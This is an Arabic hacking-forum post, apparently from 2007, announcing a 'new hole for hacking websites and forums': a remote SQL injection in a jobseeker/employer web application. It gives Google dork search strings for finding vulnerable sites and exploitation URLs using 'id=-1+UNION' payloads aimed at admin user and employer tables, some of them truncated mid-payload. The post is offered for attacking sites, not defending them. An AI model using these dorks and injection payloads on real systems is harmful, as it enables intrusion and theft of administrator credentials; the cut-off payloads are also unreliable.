ثغره جديده لاختراق المواقع والمنتديات

السلام عليكم
هذي ثغرة Remote SQL Injection Vulnerability


بتاريخ 2007-10-28
كود:
كود PHP:
inurl:index.php?page=en_jobseekers

كود البحث
كود PHP:
inurl:index.php?page=fr_Candidats


الاستغلال

كود PHP:


كود PHP:
http://website.com/file.php?id=-1+UN..._admin_users/*

كود:
كود PHP:
http://website.com/file.php?id=-1+UNION

كود:

كود PHP:
http://website.com/file.php?id=-1+UN...xt_employers/*
ااااخ تعبت حاجة بس نشالله تكونو عرفانين شو طبخة